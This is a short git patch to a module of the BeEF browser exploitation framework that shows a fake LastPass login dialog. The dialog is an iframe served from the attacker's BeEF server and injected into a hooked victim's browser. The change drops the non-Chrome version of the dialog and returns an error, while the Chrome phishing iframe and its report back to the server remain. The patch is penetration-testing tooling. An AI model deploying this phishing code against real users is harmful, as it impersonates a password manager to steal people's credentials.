From 195e2ab830c4981ed71231495c190d34212550da Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 10 May 2014 19:01:00 +1000 Subject: [PATCH] return error message prevents HTTP 404 iframe for '/lp/indexFF.html' --- modules/social_engineering/fake_lastpass/command.js | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/social_engineering/fake_lastpass/command.js b/modules/social_engineering/fake_lastpass/command.js index 6c96df9f6..8dcf23b21 100755 --- a/modules/social_engineering/fake_lastpass/command.js +++ b/modules/social_engineering/fake_lastpass/command.js @@ -25,9 +25,7 @@ beef.execute(function() { beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'294px','height':'352px','position':'fixed','right':'5px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'}); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages'); } else { - // Don't know how NON Chrome browsers look - so just going to pop the FF dialog - beef.dom.createIframe('custom' ,{'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/indexFF.html','id':'LPIFRAME'}, {'width':'260px','height':'300px','position':'fixed','left':(($j(window).width()/2)-130)+'px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'0px solid black','overflow':'hidden'}); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Non-Chrome IFrame Created .. awaiting messages'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome'); } // $j('body').append("");